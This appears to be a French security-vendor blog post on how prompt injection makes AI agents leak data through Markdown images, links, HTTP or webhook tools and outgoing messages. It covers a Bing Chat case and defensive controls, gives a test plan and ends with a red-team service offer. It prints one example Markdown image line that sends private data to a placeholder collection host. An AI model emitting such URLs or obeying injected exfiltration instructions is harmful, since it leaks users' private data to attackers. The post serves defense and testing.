Retour au blog
exfiltrationOWASP LLM02OWASP LLM05agents IA

Fuite de données d'un agent IA : liens, images, webhooks

Publié le 2026-10-307 min de lecture
En bref : Un agent IA peut faire sortir des données par trois voies : un lien ou une image Markdown dont l'URL contient les données, un outil de requête HTTP ou de webhook, et les messages qu'il envoie. La parade repose sur des contrôles hors du modèle : politique de sécurité de contenu (CSP), liste blanche de domaines, validation de la sortie et suppression de la combinaison données privées, contenu non fiable et canal sortant.

Comment un agent IA peut-il faire fuiter des données par ses outils ?

Un agent fuit des données quand un attaquant parvient à lui faire inclure des informations privées dans une requête qui part vers un serveur qu'il contrôle. Le modèle n'a pas besoin d'être « piraté » : il lui suffit de suivre une instruction cachée dans un contenu qu'il lit.

Simon Willison résume le terrain favorable avec la « lethal trifecta » : accès à des données privées, exposition à du contenu non fiable et capacité à communiquer vers l'extérieur. Quand les trois sont réunis, un attaquant peut tromper l'agent pour qu'il fuite les données. Ce risque relève de deux entrées de l'OWASP Top 10 pour les LLM 2025 : la divulgation d'informations sensibles (LLM02) et la mauvaise gestion des sorties (LLM05).

Trois canaux reviennent en test : les images et liens Markdown, les outils de requête sortante, et les messages envoyés au nom de l'utilisateur.

CanalMécanismeDéclenchement
Image MarkdownL'URL de l'image contient les données en paramètreAutomatique, au rendu dans le navigateur
Lien MarkdownL'URL du lien contient les donnéesAprès un clic de l'utilisateur
Outil HTTP ou webhookL'agent appelle lui-même l'URL de l'attaquantAutomatique, côté serveur
Message sortantE-mail, chat ou ticket envoyé à un tiersAutomatique si l'envoi est autorisé

Comment fonctionne l'exfiltration par image Markdown ?

L'attaquant fait générer au modèle une image Markdown dont l'URL pointe vers son serveur, avec les données volées dans les paramètres. Le navigateur charge l'image automatiquement et envoie ainsi les données, sans aucun clic.

Le chercheur Johann Rehberger a documenté ce mécanisme sur Bing Chat : le contenu Markdown produit par le modèle était rendu en balise image, l'URL contenait les données de la page ajoutées en paramètre, et le navigateur la chargeait seul. Selon lui, Microsoft a probablement corrigé le problème en introduisant une politique de sécurité de contenu (CSP) qui n'autorise les images que depuis quelques domaines Bing de confiance, mais il précise ne pas connaître le détail complet du correctif. La page OWASP de LLM05 cite d'ailleurs dans ses références un article sur le vol de données de chat par images Markdown.

Exemple de ce que produit un modèle manipulé (adresse fictive) :

![](https://collecte.example/p.png?d=DONNEES_PRIVEES)

Pour l'utilisateur, l'image paraît vide ou minuscule. Pour l'attaquant, la requête arrive avec les données.

Et les liens, les outils HTTP et les webhooks ?

Les liens fonctionnent comme les images mais exigent un clic : l'attaquant mise sur un texte convaincant (« voir le rapport complet ») dont l'URL embarque les données. Les outils HTTP et les webhooks sont plus directs, puisque l'agent émet lui-même la requête.

Un agent muni d'un outil « HTTP Request » ou d'un connecteur de webhook libre peut recevoir, dans un e-mail ou une page, l'instruction d'envoyer le contexte vers une URL externe. Aucun navigateur ni clic ne sont nécessaires. C'est pourquoi les outils ouverts (URL arbitraire) sont dangereux : ils font de chaque injection une exfiltration possible. Notre étude de cas sur un webhook n8n illustre le versant entrant de ce risque.

Les messages sortants forment le troisième canal : un agent qui peut envoyer un e-mail ou poster dans un chat peut y glisser des données, ou un lien piégé, à l'adresse que l'attaquant a choisie.

Quelles défenses mettre en place ?

Appliquez des contrôles à chaque étape de la chaîne, en vous appuyant sur le code et la configuration plutôt que sur des consignes au modèle. L'OWASP recommande de traiter le modèle comme un utilisateur non fiable, de valider ses sorties et d'imposer une politique de sécurité de contenu stricte.

  1. Ne pas rendre automatiquement les images externes. Remplacez les images Markdown par du texte, ou n'autorisez que des domaines de confiance. Une CSP avec une directive img-src restreinte bloque le chargement vers un serveur tiers.
  2. Neutraliser les liens. Affichez l'URL réelle, réécrivez les liens via un domaine de redirection contrôlé, ou supprimez les liens que le modèle a construits à partir de données de la conversation.
  3. Liste blanche pour les appels sortants. Les outils HTTP, webhooks et connecteurs n'atteignent que des domaines approuvés, vérifiés dans le code appelant.
  4. Restreindre les destinataires. Les e-mails et messages ne partent que vers des adresses ou domaines autorisés.
  5. Casser la trifecta. Supprimez au moins un des trois éléments : retirez l'accès aux données privées, isolez le contenu non fiable, ou coupez la capacité de communication.
  6. Contrôle d'accès avant le contexte. Ce que le modèle ne voit pas ne peut pas fuiter. Appliquez les droits de l'utilisateur au moment de la recherche et de l'appel d'API.
  7. Filtrer les sorties. Détectez les URL contenant des chaînes longues, des identifiants ou des données issues du contexte.
  8. Journaliser et alerter. Consignez chaque requête sortante et signalez les domaines inédits.

Pour la dimension « contenu non fiable », reportez-vous à notre page injection de prompt.

Comment tester les fuites par les outils ?

Montez un point de collecte que vous contrôlez, puis tentez de pousser l'agent à lui envoyer des données de test par chacun des canaux. Le succès se mesure à ce qui arrive sur votre serveur, pas à ce que dit le modèle.

Plan de test :

TestMise en placeRésultat attendu
Image MarkdownInstruction cachée demandant une image vers votre point de collecte avec un jeton de testAucune requête reçue, image bloquée par la CSP
Lien MarkdownInstruction demandant un lien contenant le jetonLien neutralisé ou affiché en clair
Outil HTTPInstruction demandant un appel vers votre point de collecteAppel refusé par la liste blanche
WebhookMême test via un connecteur webhookAppel refusé
Message sortantInstruction demandant l'envoi du jeton à une adresse externeEnvoi bloqué ou soumis à approbation
Données d'un autre utilisateurDemande de résumer des données hors des droits de l'utilisateurDonnées absentes du contexte

Utilisez des jetons factices et jamais de vraies données. Pour chaque canal, testez les deux voies : l'utilisateur qui demande directement, et le contenu piégé (e-mail, page, document) qui demande à sa place. Répétez les essais, car les résultats varient. Les journaux de votre point de collecte et ceux de l'agent servent de preuve.

Quelle priorité donner à ces corrections ?

Commencez par la liste blanche des appels sortants et le blocage des images externes, qui ferment les canaux automatiques. Ils s'implémentent en quelques heures et traitent les chemins sans interaction humaine, les plus graves.

Viennent ensuite le contrôle d'accès avant le contexte et la validation humaine des envois. Pour un cadrage complet, voyez notre guide de la sécurité des agents IA.

Comment faire vérifier que rien ne sort ?

Un test adverse indépendant confirme que vos fermetures de canaux tiennent. Le Red Team Agent Express (1 900 €, 5 jours) comprend des scénarios d'exfiltration par images, liens, outils et messages sur un agent de votre choix. Pour plusieurs agents ou une livraison via une agence, la prestation sur mesure se chiffre sur devis, après un rendez-vous découverte de 30 minutes gratuit.

Votre produit embarque un agent IA ? CleanIssue teste ce qu’un inconnu peut lui faire faire avec le Red Team Agent Express (5 jours, 1 900 €), ou un red team sur mesure pour plusieurs agents et serveurs MCP.

Sachez ce que votre agent peut faire avant un attaquant.

Présentez-nous votre agent, ses outils et votre contexte. Rendez-vous découverte de 30 minutes, gratuit.

Prendre rendez-vous